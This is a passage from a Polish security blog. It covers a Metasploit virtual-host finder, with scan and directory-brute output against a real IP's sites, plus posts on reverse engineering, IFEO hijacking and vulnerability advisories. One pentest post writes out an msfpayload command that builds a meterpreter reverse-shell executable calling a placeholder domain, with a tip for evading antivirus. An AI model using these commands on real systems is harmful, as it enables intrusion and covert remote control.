       Name: VHOST finder using Bing.
     Module: auxiliary/gather/vhost_finder
    Version: $Revision:$
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Marcin 'Icewall' Noga <martin&#91;at&#93;hispasec<dot>com>

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  BING_API_KEY                   no        Set Bing API Key to use API interface.
  FULL_URL      false              no        Display all found URLs related with specific IP(s). When this option is set to false only domains will be displayed.
  IPRANGE                            yes       The IP or address range for which you want to check vhosts.

Description:
  Find all VHOST's belongs to particular IP(s) using Bing. Without
  setting BING_API_KEY module makes simple query to bing.com and
  parses results. Keep in mind that returned results from Bing API are
  usually limited compare to these obtained from bing.com

msf  auxiliary(vhost_finder) > set IPRANGE 173.236.133.83
IPRANGE => 173.236.133.83
msf  auxiliary(vhost_finder) > run

[*] VHOSTS for 173.236.133.83:
[+] http://agnieszkarosik.art.pl
[+] http://archive.stradis.com
[+] http://art.vexillium.org
[+] http://cuth.net
[+] http://draftspace.art.pl
[+] http://elmoreblog.com
[+] http://euphoriapastries.com
[+] http://goldenrulerepublicans.com
[+] http://gynvael.lunarii.org
[+] http://j00ru.vexillium.org
[+] http://kateappleton.com
[+] http://lunarii.org
[+] http://memek.vexillium.org
[+] http://re.coldwind.pl
[+] http://samlis.lunarii.org
[+] http://sectoids.nekrataal.vexillium.org
[+] http://sellarostudios.com
[+] http://sil2100.vexillium.org
[+] http://stradis.com
[+] http://thedarkroomfilm.com
[+] http://thestateworkers.com
[+] http://unavowed.vexillium.org
[+] http://vexillium.org
[+] http://willsaar.com
[+] http://www.andrewmurphie.org
[+] http://www.differentviewpoint.com
[+] http://www.eiroresearchglobal.com
[+] http://www.icewall.pl
[+] http://www.macrotactics.com
[+] http://www.oshogbo.vexillium.org
[+] http://www.thestateworkers.com
[+] http://www.torinochurch.com
[*] Auxiliary module execution completed

Jako, że znalezione vhost’y są raportowane do bazy (oczywiście jeżeli wcześniej wykonaliśmy db_connect) to jesteśmy później w stanie wykorzystać te informacje przy tworzeniu raportu czy do dalszych ataków np. z wykorzystaniem WMAP’a

msf  auxiliary(vhost_finder) > load wmap
[*] [WMAP 1.0] ===  et [  ] metasploit.com 2011
[*] Successfully loaded plugin: wmap
msf  auxiliary(vhost_finder) > wmap_sites -l
[*] Available sites
===============

     Id  Host           Vhost                       Port  # Pages  # Forms
     --  ----           -----                       ----  -------  -------
   0    173.236.133.83  agnieszkarosik.art.pl             80    0        0
  13   173.236.133.83  re.coldwind.pl                    80    0        0
     14   173.236.133.83  samlis.lunarii.org                80    0        0
     15   173.236.133.83  sectoids.nekrataal.vexillium.org  80    0        0
     16   173.236.133.83  sellarostudios.com                80    0        0
     17   173.236.133.83  sil2100.vexillium.org             80    0        0
     18   173.236.133.83  stradis.com                       80    0        0
     19   173.236.133.83  thedarkroomfilm.com               80    0        0
     2    173.236.133.83  art.vexillium.org                 80    0        0
     20   173.236.133.83  thestateworkers.com               80    0        0
     21   173.236.133.83  unavowed.vexillium.org            80    0        0
     22   173.236.133.83  vexillium.org                     80    0        0
     23   173.236.133.83  willsaar.com                      80    0        0
     24   173.236.133.83  www.andrewmurphie.org             80    0        0
     25   173.236.133.83  www.differentviewpoint.com        80    0        0
     26   173.236.133.83  www.eiroresearchglobal.com        80    0        0
     27   173.236.133.83  www.icewall.pl                    80    0        0
     28   173.236.133.83  www.macrotactics.com              80    0        0
     29   173.236.133.83  www.oshogbo.vexillium.org         80    0        0
     3    173.236.133.83  cuth.net                          80    0        0
     30   173.236.133.83  www.thestateworkers.com           80    0        0
     31   173.236.133.83  www.torinochurch.com              80    0        0
...

msf  auxiliary(vhost_finder) > wmap_targets -t 173.236.133.83
msf  auxiliary(vhost_finder) > wmap_run -e data/wmap/wmap_sample_profile.txt
[*] Using profile data/wmap/wmap_sample_profile.txt.
[*] Testing target:
[*]     Site: agnieszkarosik.art.pl (173.236.133.83)
[*]     Port: 80 SSL: false
[*] ============================================================
[*] Testing started. 2011-11-15 02:50:08 +0100
[*]
=[ SSL testing ]=
[*] ============================================================
[*] Target is not SSL. SSL modules disabled.
[*]
=[ Web Server testing ]=
[*] ============================================================
[*] Module auxiliary/scanner/http/http_version

[*] 173.236.133.83 Apache ( 302-http://agnieszkarosik.digartfolio.pl/ )
[*] Module auxiliary/scanner/http/options
[*]
=[ File/Dir testing ]=
[*] ============================================================
[*] Module auxiliary/scanner/http/dir_scanner:
[*] Path: /
[*] Detecting error code
[*] Using code '302' as not found for 173.236.133.83
[*][*] Found http://agnieszkarosik.art.pl:80/Ftp-old/ 503 (173.236.133.83)
 Found http://agnieszkarosik.art.pl:80/Friends/ 302 (173.236.133.83)
[*][*][*] Found http://agnieszkarosik.art.pl:80/Flashtest/ 302 (173.236.133.83)
 Found http://agnieszkarosik.art.pl:80/Frames/ 302 (173.236.133.83)
 Found http://agnieszkarosik.art.pl:80/FilterIssues/ 302 (173.236.133.83)
[*] Found http://agnieszkarosik.art.pl:80/GW5/ 503 (173.236.133.83)
[*][*][*] Found http://agnieszkarosik.art.pl:80/Log/ 503 (173.236.133.83)
...

Download
Kod modułu na chwilę obecną jest do pobrania stąd -> vhost_finder.rb. Myślę że lada chwila i zmigruję z nim na Git’a, a w niedługim czasie powinien trafić on do oficjalnego releasu.

Bibliografia:
Metasploit Redmine – miejsce gdzie możesz zaraportować bug czy wrzucić swoją propozycję modułu.
Dokumentacja API frameworku
Podręcznik programisty Metasploit

Opublikowano Development | Otagowano , , , , , , | 2 komentarze

RET’urn

Po długim czasie nie publikowania postów na blogu czas odwrócić tą tendencje, chociaż jak będzie czas pokaże ;).
Patrząc na datę poprzedniego wpisu uświadomiłem sobie, że to już praktycznie rok od nie-postowania o_0: Co tak absorbowało mnie przez ostatnie miesiące ?

{ Uczelnia }

Do lipca tego roku byłem studentem Pwr, BYŁEM, ponieważ we wspomnianym przed chwilą miesiącu uzyskałem jakże upragniony,wyczekiwany,niesamowity,przecudowny, zmieniający moje życie tytuł inżyniera. tak tak inż. Icewall 😉 [szczerze, to do dnia dzisiejszego jeszcze nie odebrałem dyplomu :P, także jak widać bardzo się dotychczas przydaje:P]. Jeżeli chodzi o wpływ uczelni na mój czas od lutego do lipca to był on dość znaczący. Pomimo przeróżnych kursów od eksploracji danych po rozproszone systemy do zrealizowania było ZPI(Zespołowe przedsięwzięcie inżynierskie). Temat pracy: „Lokalizacja pozycji przy pomocy urządzeń mobilnych z wbudowanym GPS.”. Temat okazał się bardziej wymagający niż to się na początku mogło wydawać ( jak to zwykle bywa;) ), nie ze względu na logiczny poziom skomplikowania, ale raczej na mnogość nowych wtedy dla nas technologi, na które się zdecydowaliśmy: WCF, klient na Android’a, klient na Windows Mobile, spięcie tego w całość + masa innych technologi. To wszystko w połączeniu z tworzeniem materiałów na szkolenia, sukcesywnym ich upgrade’owaniu, prowadzeniu szkoleń po całej Polsce dało mi zajęcie na 24/7 ;).

{ Szkolenia }

Jeżeli chodzi o szkolenia to mija już praktycznie rok od podpisania umowy z Compendium CE i niewiele poniżej jeżeli chodzi o współprace z niebezpiecznikiem.
Cały ten okres współpracy mogę podsumować śmiało bardzo pozytywnie zarówno ze strony organizacyjnej jak i wrażeń jakich dostarczają mi „studenci” na szkoleniach ;). Myślę, że dzięki specyficznym tematyką szkoleń, które prowadzę nie zdarzają się ludzie z przypadku, wepchnięci „bo szef kazał” co mnie zdecydowanie cieszy. Pisząc ten fragment odnośnie szkoleń pomyślałem o jednej kwestii:
Jeżeli, ktoś byłby zainteresowany tematem tego jak wygląda prowadzenie szkolenia od kuchni lub rozmyśla czy rozmyślał o rozpoczęciu podobnej ścieżki w swojej karierze to z chęcią udzielę odpowiedzi. Pytania można zadawać w komentarzach lub mailowo. Jeżeli będzie ich wystarczająco dużo, a zadający zezwolą na ich publikacje to myślę, że śmiało będę w stanie kliknąć na ten temat jeden z kolejnych postów.

{ Pentesty }

Jako, że w ostatnim czasie zlecenia z Hispasec dotyczą głównie pentestów czy prowadzenia prelekcji online, to nie bardzo byłem w stanie dzieli się detalami z tych akcji ;). ALE….
Co jakiś czas podczas pentestu wpada mi do głowy pomysł zautomatyzowania pewnych działań, i tak np. zrodziła się idea naklikania modułu do metasploit’a : vhost_finder, o którym mam zamiar napisać następny post. Kolejną interesującą kwestią było stworzenie na potrzeby jednego z pentestów nie wykrywalnego backdoor’a. Oczywiście można tworzyć koło od nowa, ale trudno będzie uzyskać lepszą funkcjonalność niż ta która dostarcza meterpreter wraz z metasploit’em. Na chwile obecną proste utworzenie exe’ka poprzez
ruby msfpayload windows/meterpreter/reverse_tcp_dns LHOST=your.domain.com LPORT=1337 R | ruby msfencode -c 10 -o msf.exe -t exe nie zadziała z prostych przyczyn ;). Jednak okazuje się, że prosty export stager’a i odpalenie go we własnym kodzie załatwia sprawę ;).

Jeżeli chodzi o inne badania nad którymi pracowałem/obecnie pracuje to nie będę wiele zdradzał, jedno z nich opisuje ten screenshot:

so stay tuned ;).

Opublikowano Ogólne | Otagowano , , , , , , | Skomentuj

Szkolenia – Reverse Engineering i Analiza Malware’u

Tak tak szkolenia czas zacząć !!! 😉

Już jakiś rok temu razem z Gynvael’em wpadliśmy na pomysł organizowania szkoleń w Polsce. Z głosów, które do nas docierały wynikało, że spora liczba osób jest zainteresowana tematyką RE czy pentestingiem. Był już plan działania, wykupiona domena, strona www, niestety jednak, Gyn w niedługim czasie został uprowadzony przez Google, a ja porzuciłem ten projekt z tego względu, że nie chciałem kontynuować go w pojedynkę.

Parę miesięcy temu temat stał się na nowo żywy za sprawą propozycji Piotrka Koniecznego (niebezpiecznik.pl) związanej właśnie z prowadzeniem szkoleń. Poczytując niebezpiecznika wiedziałem, że jego społeczność skupia rzesze osób, która będzie zainteresowana tematyką RE,dlatego bez większego wahania zgodziłem się to zrobić ;).

Po wielu wielu godzinach przemyśleń i zastanawiań się nad tym, jak w najlepszy sposób nauczyć Was Reverse engineering, ile godzin poświęcić na dane zagadnienie, jak rozdzielić zagadnienia podstawowe o tych bardziej zaawansowanych. Powstały ostatecznie dwa szkolenia:

Wstęp do Reverse Engineeringu (2 dni)
Analiza Malware’u — Zaawansowany Reverse Engineering (2 dni)

Wszystkich niezbędnych detali o każdym ze szkoleń dowiecie się z powyższych linków.
Gdybyście mieli jednak jakieś pytania czy sugestie piszcie śmiało.
Nie pozostało mi nic innego jak zaprosić Was na dobrą zabawę w postaci 2’u dniowych szkoleń z udziałem Olka,IDA’y,Sinowala,Bankerów i innych bytów ;).

Opublikowano Malware, RE | Otagowano , , , , , | 2 komentarze

NameChanger ver 1.0 – OllyDbg plugin

Ostatnio powróciłem do dawno porzuconego pomysłu stworzenia pluginu dla Olka, który będzie dostarczał podobną funkcjonalność odnośnie zmiany
nazwy/wartości m.in funkcji czy stałej jak IDA.
Myślę, że najlepiej jego zastosowanie i funkcjonalność przedstawić w akcji:

[+]Sposób użycia
Powiedzmy, żę chcemy zmienić nazwę CALL’a z domyślnej reprezentowanej przez adres na bardziej przyjazną nam.
Wybieramy linie w oknie disasembler’a, w której występuje interesujący nas CALL:

następnie PPM i wybieramy Change value:

w widocznym poniżej okienku wpisujemy proponowaną przez nas nazwę i zatwierdzamy ją poprzez ENTER lub kliknięcie przycisku Set:

Otrzymany efekt wygląda następująco:

[+]Propozycja zastosowań
A oto lista przykładów prezentująca prawdopodobnie wszystkie możliwe miejsca w kodzie gdzie można zastosować omawiany plugin:

==CALL==
004012D7   .  E8 EC110000      CALL Project2.004024C8
004012D7   .  E8 EC110000      CALL <Project2.some_call>

==JMP==
004012F5      E9 1E120000      JMP Project2.00402518
004012F5      E9 1E120000      JMP <Project2.some_jump>

==Global variable==
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[403071]
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[<g_variable>]

0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[40307F]
0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[<g_variable>]

(...)

Plugin można pobrać stąd : NameChanger.zip
Oczywiście zapraszam do testowania i przesyłania mi feedbacku o ewentualnych zmianach jakie powinny zajść w kolejnej wersji itp.

Opublikowano Aplikacja, RE | Otagowano , , | 9 komentarzy

Maksymalna długość ścieżki pod Windows’em


Być może jesteś jedną z osób, która do tego momentu wierzyła, że maksymalna długością ścieżki, jaką może ona osiągnąć pod Windows’em jest określona przez MAX_PATH ( 256 znaków ). NIC BARDZIEJ MYLNEGO!!!!

W dokumencie, który możecie pobrać poniżej opisałem m.in:

– jaka jest maksymalna długość ścieżki i z czego to wynika
– w jaki sposób uzyskać możliwość tworzenia ścieżek dłuższych niż MAX_PATH
– detale prezentujące konkretne api, w których odbywa się sprawdzanie długości ścieżki, jej typy, itp.

te i wiele innych kwestii.

Oczywiście, jeżeli jakiś programista założył, że maksymalną długością ścieżki jest MAX_PATH, to w najlepszym wypadku jego aplikacja będzie nie w pełni funkcjonalna, a w najgorszym można spodziewać się takich błędów jak buffer overflow. Aby przekonać się o słuszności swojej teorii postanowiłem przetestować „tolerancje” aplikacji anty-wirusowych na długie ścieżki. Rezultaty tych testów możecie obejrzeć w dokumencie, tutaj powiem tylko, że spora grupa wykazała oba powyżej opisane objawy.
A teraz czas na małą i IMO zachęcającą do wzięcia tematu długich ścieżek na poważnie galerię:

AVAST 5.0.594.0


AVIRA 10.0.0.567


Norton 17.6.0.32


Sophos 9.5.1

I na koniec najnowsza wersja gmer’a na dzień 15.10.2010 GMER 1.0.15.15315 ( ostatni bug raportowany przezemnie został załatany, jednak jak widać nie do końca 😉 )

Dokument w wersji angielskiej można pobrać stąd: Windows LongPaths – extended-length paths

Opublikowano Analiza, Bez kategorii, RE, Security | Otagowano , , , , , , , | 14 komentarzy

IFEO, czyli Image File Execution Option

Przyglądając się ostatnio dokładnie procedurze tworzenia nowego procesu w systemie, natchnąłem się na IMO dość mało popularną funkcjonalność, jaką jest „Image File Execution Options”(IFEO) . Jej konfiguracji dokonujemy poprzez modyfikacje kluczy w następującej gałęzi rejestru:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

Jakie możliwości daje nam ta funkcjonalność możecie przeczytać tutaj:
http://blogs.msdn.com/b/junfeng/archive/2004/04/28/121871.aspx
ja skupie się jedynie na jednej wybranej opcji, która nazywa się Debugger .
Opcja ta pozwala nam na automatyczne podpięcie wybranego, debugera do nowo utworzonego procesu, którego nazwa pliku wykonywalnego znajduje się w gałęzi IFEO jako klucz.

[+]Przykład
Powiedzmy, że chcemy podpiąć Olka za każdym razem do notepad’a jak tylko jego proces zostanie utworzony. Wtedy wpis w IFEO powinien wyglądać następująco:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsNOTEPAD.EXE]
"Debugger"="D:\tools\RE\shadow-ollydbg\shadow\Shadow.exe"

Nie musimy ręcznie tworzyć/modyfikować klucza oraz wartości w rejestrze. Możemy posłużyć się aplikacją Gflag, która wchodzi w skład pakietu Debugging Tools for Windows.

[+]Kiedy owa funkcjonalność okazuje się przydatna?
Cały ten post praktycznie pisze ze względu na to, że nie spotkałem się, z tym żeby ktoś proponował użycie powyższej opcji, w przypadku, kiedy chcemy podpiąć debuger do procesu dziecka tworzonego przez malware. Myślę, że jest to dość wygodna metoda obok modyfikacji, EP po przez umieszczenie tam nieskończonej pętli EB FE czy breakpoint’u i ustawienie Olka jako JIT debuger.

[+]Złowieszcze użycie opcji Debugger
Zamiast wartości wskazującej na debuger możemy umieścić ścieżkę, do dowolnie innej aplikacji, która będzie uruchamiana zamiast tej żądanej. Ktoś „pomysłowy” mógłbym stworzyć wpis dla IE uruchamiający za każdym razem jej odpowiednio zmodyfikowaną wersje.

Opublikowano RE, Security | Otagowano , , | 6 komentarzy

Zapomniane PHP advisory

W czasie wakacji 2009 razem z Gyn’em i j00ru przysiedliśmy nad szukaniem bug’ów w PHP’e, ale nie był to typowy bughunt ;).
O przebiegu analizy PHP możecie przeczytać w bliźniaczym poście Gynvael’a Stare advisory PHP EXIF.

Paczka zawierająca następujące advisory:

PHP 5.2.10 / 5.3.0 EXIF Denial of Service 1
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 2
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 3
PHP 5.2.10 / 5.3.0 Multiple Memory Disclosure

do pobrania tutaj -> PHP Advisory

Opublikowano Bez kategorii, Security | Otagowano , , , , , , | Skomentuj

GMER 1.0.15.15281 Buffer overflow 0day

Podczas pewnych badań, których rezultat przedstawie niebawem, odkrylem błąd w gmer’e doprowadzający do przepełnienia bufora.
(nie)Stety ze wzgledu na zastosowanie kanarkow w kodzie jaki i jego charakter w obrebie funkcji, w ktorej nastepuje przepelnienie, nie mozliwy jest code exec.
Pomimo moich paru prób kontaktu z autorem gmer’a wciąż nie otrzymalem żadnej odpowiedzi, a wnioskując po dostępnej wersji na dzień dzisiejszy żadne widoczne działania nie zostały podjęte w kierunku załatania problemu. No coż ;), pozostaje mi jedynie podzielić się z wami advisory, które są do pobrania tutaj:
<= GMER 1.0.15.15281 Buffer overflow 0day

Opublikowano Security | Otagowano , , , , , , , | Skomentuj